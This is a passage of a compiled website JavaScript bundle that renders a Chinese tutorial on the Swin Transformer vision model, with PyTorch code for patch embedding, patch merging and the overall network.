n?n(e):{...e,...n}},[e,n])}function o(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:d(n.components),i.createElement(t.Provider,{value:e},n.children)}},32928:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/bias0-79a7bcf048bdd7436667a02628bd349a.png"},45860:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>l,contentTitle:()=>o,default:()=>h,frontMatter:()=>d,metadata:()=>i,toc:()=>a});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb","title":"Swin-Transformer\u89e3\u8bfb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"ResNet\u6e90\u7801\u89e3\u8bfb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb"},"next":{"title":"Transformer \u89e3\u8bfb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb"}}');var r=s(74848),t=s(28453);const d={},o="Swin-Transformer\u89e3\u8bfb.md",l={},a=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u6a21\u578b\u7ed3\u6784",id:"\u6a21\u578b\u7ed3\u6784",level:2},{value:"Patch Embedding",id:"patch-embedding",level:2},{value:"Patch Merging",id:"patch-merging",level:2},{value:"Window Partition/Reverse",id:"window-partitionreverse",level:2},{value:"Window Attention",id:"window-attention",level:2},{value:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u76f4\u89c2\u7406\u89e3",id:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u76f4\u89c2\u7406\u89e3",level:3},{value:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u4ee3\u7801\u8be6\u89e3",id:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u4ee3\u7801\u8be6\u89e3",level:3},{value:"Shifted Window Attention",id:"shifted-window-attention",level:2},{value:"\u7279\u5f81\u56fe\u79fb\u4f4d\u64cd\u4f5c",id:"\u7279\u5f81\u56fe\u79fb\u4f4d\u64cd\u4f5c",level:3},{value:"Attention Mask",id:"attention-mask",level:3},{value:"W-MSA\u548cMSA\u7684\u590d\u6742\u5ea6\u5bf9\u6bd4",id:"w-msa\u548cmsa\u7684\u590d\u6742\u5ea6\u5bf9\u6bd4",level:2},{value:"MSA\u6a21\u5757\u7684\u8ba1\u7b97\u91cf",id:"msa\u6a21\u5757\u7684\u8ba1\u7b97\u91cf",level:3},{value:"W-MSA\u6a21\u5757\u7684\u8ba1\u7b97\u91cf",id:"w-msa\u6a21\u5757\u7684\u8ba1\u7b97\u91cf",level:3},{value:"\u6574\u4f53\u6d41\u7a0b\u56fe",id:"\u6574\u4f53\u6d41\u7a0b\u56fe",level:2}];function c(n){const e={a:"a",b:"b",blockquote:"blockquote",br:"br",code:"code",font:"font",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"swin-transformer\u89e3\u8bfbmd",children:"Swin-Transformer\u89e3\u8bfb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 18:52:46"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"swin-transformer\u89e3\u8bfb",children:"Swin Transformer\u89e3\u8bfb"}),"\n",(0,r.jsxs)(e.p,{children:["\n",(0,r.jsx)(e.font,{size:"3",children:(0,r.jsx)(e.b,{children:"[Swin-T] Swin Transformer: Hierarchical Vision Transformer using Shifted Windows"})}),"\n",(0,r.jsx)(e.br,{}),"\n",(0,r.jsx)(e.font,{size:"2",children:"Ze Liu, Yutong Lin, Yue Cao, Han Hu, Yixuan Wei, Zheng Zhang, Stephen Lin, Baining Guo."}),"\n",(0,r.jsx)(e.br,{}),"\n",(0,r.jsx)(e.font,{size:"2",children:"ICCV 2021."}),"\n",(0,r.jsx)(e.a,{href:"https://arxiv.org/pdf/2103.14030.pdf",children:"[paper]"})," ",(0,r.jsx)(e.a,{href:"https://github.com/microsoft/Swin-Transformer",children:"[code]"})," \n",(0,r.jsx)(e.br,{}),"\n",(0,r.jsx)(e.font,{size:"3",children:"\u89e3\u8bfb\u8005\uff1a\u6c88\u8c6a\uff0c\u590d\u65e6\u5927\u5b66\u535a\u58eb\uff0cDatawhale\u6210\u5458"}),"\n",(0,r.jsx)(e.br,{}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,r.jsxs)(e.p,{children:["\u300a",(0,r.jsx)(e.a,{href:"https://arxiv.org/abs/2103.14030",children:"Swin Transformer: Hierarchical Vision Transformer using Shifted Windows"}),"\u300b\u4f5c\u4e3a2021 ICCV\u6700\u4f73\u8bba\u6587\uff0c\u5c60\u699c\u4e86\u5404\u5927CV\u4efb\u52a1\uff0c\u6027\u80fd\u4f18\u4e8eDeiT\u3001ViT\u548cEfficientNet\u7b49\u4e3b\u5e72\u7f51\u7edc\uff0c\u5df2\u7ecf\u66ff\u4ee3\u7ecf\u5178\u7684CNN\u67b6\u6784\uff0c\u6210\u4e3a\u4e86",(0,r.jsx)(e.strong,{children:"\u8ba1\u7b97\u673a\u89c6\u89c9\u9886\u57df\u901a\u7528\u7684backbone"}),"\u3002\u5b83\u57fa\u4e8e\u4e86ViT\u6a21\u578b\u7684\u601d\u60f3\uff0c\u521b\u65b0\u6027\u7684\u5f15\u5165\u4e86",(0,r.jsx)(e.strong,{children:"\u6ed1\u52a8\u7a97\u53e3\u673a\u5236"}),"\uff0c\u8ba9\u6a21\u578b\u80fd\u591f\u5b66\u4e60\u5230\u8de8\u7a97\u53e3\u7684\u4fe1\u606f\uff0c\u540c\u65f6\u4e5f\u3002\u540c\u65f6\u901a\u8fc7",(0,r.jsx)(e.strong,{children:"\u4e0b\u91c7\u6837\u5c42"}),"\uff0c\u4f7f\u5f97\u6a21\u578b\u80fd\u591f\u5904\u7406\u8d85\u5206\u8fa8\u7387\u7684\u56fe\u7247\uff0c\u8282\u7701\u8ba1\u7b97\u91cf\u4ee5\u53ca\u80fd\u591f\u5173\u6ce8\u5168\u5c40\u548c\u5c40\u90e8\u7684\u4fe1\u606f\u3002\u800c\u672c\u6587\u5c06\u4ece\u539f\u7406\u548c\u4ee3\u7801\u89d2\u5ea6\u8be6\u7ec6\u89e3\u6790Swin Transformer\u7684\u67b6\u6784\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u76ee\u524d\u5c06 Transformer \u4ece\u81ea\u7136\u8bed\u8a00\u5904\u7406\u9886\u57df\u5e94\u7528\u5230\u8ba1\u7b97\u673a\u89c6\u89c9\u9886\u57df\u4e3b\u8981\u6709\u4e24\u5927\u6311\u6218\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u89c6\u89c9\u5b9e\u4f53\u7684\u65b9\u5dee\u8f83\u5927\uff0c\u4f8b\u5982\u540c\u4e00\u4e2a\u7269\u4f53\uff0c\u62cd\u6444\u89d2\u5ea6\u4e0d\u540c\uff0c\u8f6c\u5316\u4e3a\u4e8c\u8fdb\u5236\u540e\u7684\u56fe\u7247\u5c31\u4f1a\u5177\u6709\u5f88\u5927\u7684\u5dee\u5f02\u3002\u540c\u65f6\u5728\u4e0d\u540c\u573a\u666f\u4e0b\u89c6\u89c9 Transformer \u6027\u80fd\u672a\u5fc5\u5f88\u597d\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u56fe\u50cf\u5206\u8fa8\u7387\u9ad8\uff0c\u50cf\u7d20\u70b9\u591a\uff0c\u5982\u679c\u91c7\u7528ViT\u6a21\u578b\uff0c\u81ea\u6ce8\u610f\u529b\u7684\u8ba1\u7b97\u91cf\u4f1a\u4e0e\u50cf\u7d20\u7684\u5e73\u65b9\u6210\u6b63\u6bd4\u3002"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u9488\u5bf9\u4e0a\u8ff0\u4e24\u4e2a\u95ee\u9898\uff0c\u8bba\u6587\u4e2d\u63d0\u51fa\u4e86\u4e00\u79cd\u57fa\u4e8e",(0,r.jsx)(e.strong,{children:"\u6ed1\u52a8\u7a97\u53e3\u673a\u5236\uff0c\u5177\u6709\u5c42\u7ea7\u8bbe\u8ba1\uff08\u4e0b\u91c7\u6837\u5c42\uff09"})," \u7684 Swin Transformer\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5176\u4e2d",(0,r.jsx)(e.strong,{children:"\u6ed1\u7a97\u64cd\u4f5c"}),"\u5305\u62ec",(0,r.jsx)(e.strong,{children:"\u4e0d\u91cd\u53e0\u7684 local window\uff0c\u548c\u91cd\u53e0\u7684 cross-window"}),"\u3002\u5c06\u6ce8\u610f\u529b\u8ba1\u7b97\u9650\u5236\u5728\u4e00\u4e2a\u7a97\u53e3\uff08window size\u56fa\u5b9a\uff09\u4e2d\uff0c",(0,r.jsx)(e.strong,{children:"\u4e00\u65b9\u9762\u80fd\u5f15\u5165 CNN \u5377\u79ef\u64cd\u4f5c\u7684\u5c40\u90e8\u6027\uff0c\u53e6\u4e00\u65b9\u9762\u80fd\u5927\u5e45\u5ea6\u8282\u7701\u8ba1\u7b97\u91cf"}),"\uff0c\u5b83\u53ea\u548c\u7a97\u53e3\u6570\u91cf\u6210\u7ebf\u6027\u5173\u7cfb\u3002\u901a\u8fc7",(0,r.jsx)(e.strong,{children:"\u4e0b\u91c7\u6837"}),"\u7684\u5c42\u7ea7\u8bbe\u8ba1\uff0c\u80fd\u591f\u9010\u6e10\u589e\u5927\u611f\u53d7\u91ce\uff0c\u4ece\u800c\u4f7f\u5f97\u6ce8\u610f\u529b\u673a\u5236\u4e5f\u80fd\u591f\u6ce8\u610f\u5230",(0,r.jsx)(e.strong,{children:"\u5168\u5c40"}),"\u7684\u7279\u5f81\u3002"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/Swin-T&ViT.png",alt:"Swin-T&ViT",style:{zoom:"50%"}}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u8bba\u6587\u7684\u6700\u540e\uff0c\u4f5c\u8005\u4e5f\u901a\u8fc7\u5927\u91cf\u7684\u5b9e\u9a8c\u8bc1\u660eSwin Transformer\u76f8\u8f83\u4e8e\u4ee5\u524d\u7684SOTA\u6a21\u578b\u5747\u6709\u63d0\u9ad8\uff0c\u5c24\u5176\u662f\u5728ADE20K\u6570\u636e\u548cCOCO\u6570\u636e\u96c6\u4e0a\u7684\u8868\u73b0\u3002\u4e5f\u8bc1\u660e\u4e86Swin Transformer\u53ef\u4ee5\u4f5c\u4e3a\u4e00\u79cd\u901a\u7528\u9aa8\u5e72\u7f51\u7edc\u88ab\u4f7f\u7528\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"\u6a21\u578b\u7ed3\u6784",children:"\u6a21\u578b\u7ed3\u6784"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"Architecture",src:s(12024).A+"",width:"2367",height:"806"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6574\u4e2a\u6a21\u578b\u91c7\u53d6\u5c42\u6b21\u5316\u7684\u8bbe\u8ba1\uff0c\u4e00\u5171\u5305\u542b 4 \u4e2a Stage\uff0c\u9664\u7b2c\u4e00\u4e2a stage \u5916\uff0c\u6bcf\u4e2a stage \u90fd\u4f1a\u5148\u901a\u8fc7 ",(0,r.jsx)(e.strong,{children:"Patch Merging"})," \u5c42\u7f29\u5c0f\u8f93\u5165\u7279\u5f81\u56fe\u7684\u5206\u8fa8\u7387\uff0c\u8fdb\u884c",(0,r.jsx)(e.strong,{children:"\u4e0b\u91c7\u6837\u64cd\u4f5c"}),"\uff0c\u50cf CNN \u4e00\u6837\u9010\u5c42\u6269\u5927\u611f\u53d7\u91ce\uff0c\u4ee5\u4fbf\u83b7\u53d6\u5230\u5168\u5c40\u7684\u4fe1\u606f\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee5\u8bba\u6587\u7684\u89d2\u5ea6\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u5728\u8f93\u5165\u5f00\u59cb\u7684\u65f6\u5019\uff0c\u505a\u4e86\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"Patch Partition"}),"\uff0c\u5373ViT\u4e2d",(0,r.jsx)(e.code,{children:"Patch Embedding"}),"\u64cd\u4f5c\uff0c\u901a\u8fc7 ",(0,r.jsx)(e.strong,{children:"Patch_size"})," \u4e3a4\u7684\u5377\u79ef\u5c42\u5c06\u56fe\u7247\u5207\u6210\u4e00\u4e2a\u4e2a ",(0,r.jsx)(e.strong,{children:"Patch"})," \uff0c\u5e76\u5d4c\u5165\u5230",(0,r.jsx)(e.code,{children:"Embedding"}),"\uff0c\u5c06 ",(0,r.jsx)(e.strong,{children:"embedding_size"})," \u8f6c\u53d8\u4e3a48\uff08\u53ef\u4ee5\u5c06 CV \u4e2d\u56fe\u7247\u7684",(0,r.jsx)(e.strong,{children:"\u901a\u9053\u6570"}),"\u7406\u89e3\u4e3aNLP\u4e2dtoken\u7684",(0,r.jsx)(e.strong,{children:"\u8bcd\u5d4c\u5165\u957f\u5ea6"}),"\uff09\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u968f\u540e\u5728\u7b2c\u4e00\u4e2aStage\u4e2d\uff0c\u901a\u8fc7",(0,r.jsx)(e.code,{children:"Linear Embedding"}),"\u8c03\u6574\u901a\u9053\u6570\u4e3aC\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u5728\u6bcf\u4e2a Stage \u91cc\uff08\u9664\u7b2c\u4e00\u4e2a Stage \uff09\uff0c\u5747\u7531",(0,r.jsx)(e.code,{children:"Patch Merging"}),"\u548c\u591a\u4e2a",(0,r.jsx)(e.code,{children:"Swin Transformer Block"}),"\u7ec4\u6210\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u5176\u4e2d",(0,r.jsx)(e.code,{children:"Patch Merging"}),"\u6a21\u5757\u4e3b\u8981\u5728\u6bcf\u4e2a Stage \u4e00\u5f00\u59cb\u964d\u4f4e\u56fe\u7247\u5206\u8fa8\u7387\uff0c\u8fdb\u884c\u4e0b\u91c7\u6837\u7684\u64cd\u4f5c\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u800c",(0,r.jsx)(e.code,{children:"Swin Transformer Block"}),"\u5177\u4f53\u7ed3\u6784\u5982\u53f3\u56fe\u6240\u793a\uff0c\u4e3b\u8981\u662f",(0,r.jsx)(e.code,{children:"LayerNorm"}),"\uff0c",(0,r.jsx)(e.code,{children:"Window Attention"})," \uff0c",(0,r.jsx)(e.code,{children:"Shifted Window Attention"}),"\u548c",(0,r.jsx)(e.code,{children:"MLP"}),"\u7ec4\u6210 \u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ece\u4ee3\u7801\u7684\u89d2\u5ea6\uff1a"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u5fae\u8f6f\u4e9a\u6d32\u7814\u7a76\u9662\u63d0\u4f9b\u7684\u4ee3\u7801\u4e2d\uff0c\u662f\u5c06",(0,r.jsx)(e.code,{children:"Patch Merging"}),"\u4f5c\u4e3a\u6bcf\u4e2a Stage \u6700\u540e\u7ed3\u675f\u7684\u64cd\u4f5c\uff0c\u8f93\u5165\u5148\u8fdb\u884c",(0,r.jsx)(e.code,{children:"Swin Transformer Block"}),"\u64cd\u4f5c\uff0c\u518d\u4e0b\u91c7\u6837\u3002\u800c",(0,r.jsx)(e.strong,{children:"\u6700\u540e\u4e00\u4e2a Stage \u4e0d\u9700\u8981\u8fdb\u884c\u4e0b\u91c7\u6837\u64cd\u4f5c"}),"\uff0c\u4e4b\u95f4\u901a\u8fc7\u540e\u7eed\u7684\u5168\u8fde\u63a5\u5c42\u4e0e ",(0,r.jsx)(e.strong,{children:"target label"})," \u8ba1\u7b97\u635f\u5931\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"code_Architecture",src:s(51966).A+"",width:"1774",height:"519"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"# window_size=7 \n# input_batch_image.shape=[128,3,224,224]\nclass SwinTransformer(nn.Module):\n def __init__(...):\n super().__init__()\n ...\n # absolute position embedding\n if self.ape:\n self.absolute_pos_embed = nn.Parameter(torch.zeros(1, num_patches, embed_dim))\n\n self.pos_drop = nn.Dropout(p=drop_rate)\n\n # build layers\n self.layers = nn.ModuleList()\n for i_layer in range(self.num_layers):\n layer = BasicLayer(...)\n self.layers.append(layer)\n\n self.norm = norm_layer(self.num_features)\n self.avgpool = nn.AdaptiveAvgPool1d(1)\n self.head = nn.Linear(self.num_features, num_classes) if num_classes > 0 else nn.Identity()\n\n def forward_features(self, x):\n x = self.patch_embed(x) # Patch Partition\n if self.ape:\n x = x + self.absolute_pos_embed\n x = self.pos_drop(x)\n\n for layer in self.layers:\n x = layer(x)\n\n x = self.norm(x) # Batch_size Windows_num Channels\n x = self.avgpool(x.transpose(1, 2)) # Batch_size Channels 1\n x = torch.flatten(x, 1)\n return x\n\n def forward(self, x):\n x = self.forward_features(x)\n x = self.head(x) # self.head => Linear(in=Channels,out=Classification_num)\n return x\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2d\u6709\u51e0\u4e2a\u5730\u65b9\u5904\u7406\u65b9\u6cd5\u4e0e ViT \u4e0d\u540c\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["ViT \u5728\u8f93\u5165\u4f1a\u7ed9 embedding \u8fdb\u884c\u4f4d\u7f6e\u7f16\u7801\u3002\u800c Swin-T \u8fd9\u91cc\u5219\u662f\u4f5c\u4e3a\u4e00\u4e2a",(0,r.jsx)(e.strong,{children:"\u53ef\u9009\u9879"}),"\uff08",(0,r.jsx)(e.code,{children:"self.ape"}),"\uff09\uff0cSwin-T \u662f\u5728\u8ba1\u7b97 Attention \u7684\u65f6\u5019\u505a\u4e86\u4e00\u4e2a",(0,r.jsx)(e.strong,{children:"\u76f8\u5bf9\u4f4d\u7f6e\u7f16\u7801"}),"\uff0c\u6211\u8ba4\u4e3a\u8fd9\u662f\u8fd9\u7bc7\u8bba\u6587\u8bbe\u8ba1\u6700\u5de7\u5999\u7684\u5730\u65b9\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["ViT \u4f1a\u5355\u72ec\u52a0\u4e0a\u4e00\u4e2a\u53ef\u5b66\u4e60\u53c2\u6570\uff0c\u4f5c\u4e3a\u5206\u7c7b\u7684 token\u3002\u800c Swin-T \u5219\u662f",(0,r.jsx)(e.strong,{children:"\u76f4\u63a5\u505a\u5e73\u5747"}),"\uff08avgpool\uff09\uff0c\u8f93\u51fa\u5206\u7c7b\uff0c\u6709\u70b9\u7c7b\u4f3c CNN \u6700\u540e\u7684\u5168\u5c40\u5e73\u5747\u6c60\u5316\u5c42\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"patch-embedding",children:"Patch Embedding"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u8f93\u5165\u8fdb Block \u524d\uff0c\u6211\u4eec\u9700\u8981\u5c06\u56fe\u7247\u5207\u6210\u4e00\u4e2a\u4e2a patch\uff0c\u7136\u540e\u5d4c\u5165\u5411\u91cf\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u5177\u4f53\u505a\u6cd5\u662f\u5bf9\u539f\u59cb\u56fe\u7247\u88c1\u6210\u4e00\u4e2a\u4e2a ",(0,r.jsx)(e.code,{children:"window_size * window_size"})," \u7684\u7a97\u53e3\u5927\u5c0f\uff0c\u7136\u540e\u8fdb\u884c\u5d4c\u5165\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7\u4e8c\u7ef4\u5377\u79ef\u5c42\uff0c",(0,r.jsx)(e.strong,{children:"\u5c06 stride\uff0ckernel_size \u8bbe\u7f6e\u4e3a window_size \u5927\u5c0f"}),"\u3002\u8bbe\u5b9a\u8f93\u51fa\u901a\u9053\u6765\u786e\u5b9a\u5d4c\u5165\u5411\u91cf\u7684\u5927\u5c0f\u3002\u6700\u540e\u5c06 H,W \u7ef4\u5ea6\u5c55\u5f00\uff0c\u5e76\u79fb\u52a8\u5230\u7b2c\u4e00\u7ef4\u5ea6\u3002"]}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"\u8bba\u6587\u4e2d\u8f93\u51fa\u901a\u9053\u8bbe\u7f6e\u4e3a48\uff0c\u4f46\u662f\u4ee3\u7801\u4e2d\u4e3a96\uff0c\u4ee5\u4e0b\u6211\u4eec\u5747\u4ee5\u4ee3\u7801\u4e3a\u51c6\u3002"}),"\n",(0,r.jsx)(e.p,{children:"Batch_size=128"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"Patch_embedding",src:s(23737).A+"",width:"1830",height:"158"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"import torch\nimport torch.nn as nn\n\nclass PatchEmbed(nn.Module):\n def __init__(self, img_size=224, patch_size=4, in_chans=3, embed_dim=96, norm_layer=None):\n super().__init__()\n img_size = to_2tuple(img_size) # -> (img_size, img_size)\n patch_size = to_2tuple(patch_size) # -> (patch_size, patch_size)\n patches_resolution = [img_size[0] // patch_size[0], img_size[1] // patch_size[1]]\n self.img_size = img_size\n self.patch_size = patch_size\n self.patches_resolution = patches_resolution\n self.num_patches = patches_resolution[0] * patches_resolution[1]\n\n self.in_chans = in_chans\n self.embed_dim = embed_dim\n\n self.proj = nn.Conv2d(in_chans, embed_dim, kernel_size=patch_size, stride=patch_size)\n if norm_layer is not None:\n self.norm = norm_layer(embed_dim)\n else:\n self.norm = None\n\n def forward(self, x):\n # \u5047\u8bbe\u91c7\u53d6\u9ed8\u8ba4\u53c2\u6570\uff0c\u8bba\u6587\u4e2dembedding_size\u662f96\uff0c\u4f46\u662f\u4ee3\u7801\u4e2d\u4e3a48.\u6211\u4eec\u4ee5\u4ee3\u7801\u4e3a\u51c6\n x = self.proj(x) # \u51fa\u6765\u7684\u662f(N, 96, 224/4, 224/4) \n x = torch.flatten(x, 2) # \u628aHW\u7ef4\u5c55\u5f00\uff0c(N, 96, 56*56)\n x = torch.transpose(x, 1, 2) # \u628a\u901a\u9053\u7ef4\u653e\u5230\u6700\u540e (N, 56*56, 96)\n if self.norm is not None:\n x = self.norm(x)\n return x\n"})}),"\n",(0,r.jsx)(e.h2,{id:"patch-merging",children:"Patch Merging"}),"\n",(0,r.jsx)(e.p,{children:"\u8be5\u6a21\u5757\u7684\u4f5c\u7528\u662f\u5728\u6bcf\u4e2a Stage \u5f00\u59cb\u524d\u505a\u964d\u91c7\u6837\uff0c\u7528\u4e8e\u7f29\u5c0f\u5206\u8fa8\u7387\uff0c\u8c03\u6574\u901a\u9053\u6570\u8fdb\u800c\u5f62\u6210\u5c42\u6b21\u5316\u7684\u8bbe\u8ba1\uff0c\u540c\u65f6\u4e5f\u80fd\u8282\u7701\u4e00\u5b9a\u8fd0\u7b97\u91cf\u3002"}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsxs)(e.p,{children:["\u5728 CNN \u4e2d\uff0c\u5219\u662f\u5728\u6bcf\u4e2a Stage \u5f00\u59cb\u524d\u7528",(0,r.jsx)(e.code,{children:"stride=2"}),"\u7684\u5377\u79ef/\u6c60\u5316\u5c42\u6765\u964d\u4f4e\u5206\u8fa8\u7387\u3002"]}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u6bcf\u6b21\u964d\u91c7\u6837\u662f\u4e24\u500d\uff0c\u56e0\u6b64",(0,r.jsx)(e.strong,{children:"\u5728\u884c\u65b9\u5411\u548c\u5217\u65b9\u5411\u4e0a\uff0c\u95f4\u9694 2 \u9009\u53d6\u5143\u7d20"}),"\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u7136\u540e\u62fc\u63a5\u5728\u4e00\u8d77\u4f5c\u4e3a\u4e00\u6574\u4e2a\u5f20\u91cf\uff0c\u6700\u540e\u5c55\u5f00\u3002",(0,r.jsx)(e.strong,{children:"\u6b64\u65f6\u901a\u9053\u7ef4\u5ea6\u4f1a\u53d8\u6210\u539f\u5148\u7684 4 \u500d"}),"\uff08\u56e0\u4e3a H,W \u5404\u7f29\u5c0f 2 \u500d\uff09\uff0c\u6b64\u65f6\u518d\u901a\u8fc7\u4e00\u4e2a",(0,r.jsx)(e.strong,{children:"\u5168\u8fde\u63a5\u5c42\u518d\u8c03\u6574\u901a\u9053\u7ef4\u5ea6\u4e3a\u539f\u6765\u7684\u4e24\u500d"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u662f\u4e00\u4e2a\u793a\u610f\u56fe\uff08\u8f93\u5165\u5f20\u91cf N=1, H=W=8, C=1\uff0c\u4e0d\u5305\u542b\u6700\u540e\u7684\u5168\u8fde\u63a5\u5c42\u8c03\u6574\uff09"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"Patch_Merging",src:s(60575).A+"",width:"2435",height:"388"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"Patch_Merging_dim",src:s(81324).A+"",width:"1794",height:"494"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'class PatchMerging(nn.Module):\n def __init__(self, input_resolution, dim, norm_layer=nn.LayerNorm):\n super().__init__()\n self.input_resolution = input_resolution\n self.dim = dim\n self.reduction = nn.Linear(4 * dim, 2 * dim, bias=False)\n self.norm = norm_layer(4 * dim)\n\n def forward(self, x):\n """\n x: B, H*W, C\n """\n H, W = self.input_resolution\n B, L, C = x.shape\n assert L == H * W, "input feature has wrong size"\n assert H % 2 == 0 and W % 2 == 0, f"x size ({H}*{W}) are not even."\n\n x = x.view(B, H, W, C)\n\n x0 = x[:, 0::2, 0::2, :] # B H/2 W/2 C\n x1 = x[:, 1::2, 0::2, :] # B H/2 W/2 C\n x2 = x[:, 0::2, 1::2, :] # B H/2 W/2 C\n x3 = x[:, 1::2, 1::2, :] # B H/2 W/2 C\n x = torch.cat([x0, x1, x2, x3], -1) # B H/2 W/2 4*C\n x = x.view(B, -1, 4 * C) # B H/2*W/2 4*C\n\n x = self.norm(x)\n x = self.reduction(x)\n\n return x\n'})}),"\n",(0,r.jsx)(e.h2,{id:"window-partitionreverse",children:"Window Partition/Reverse"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"window 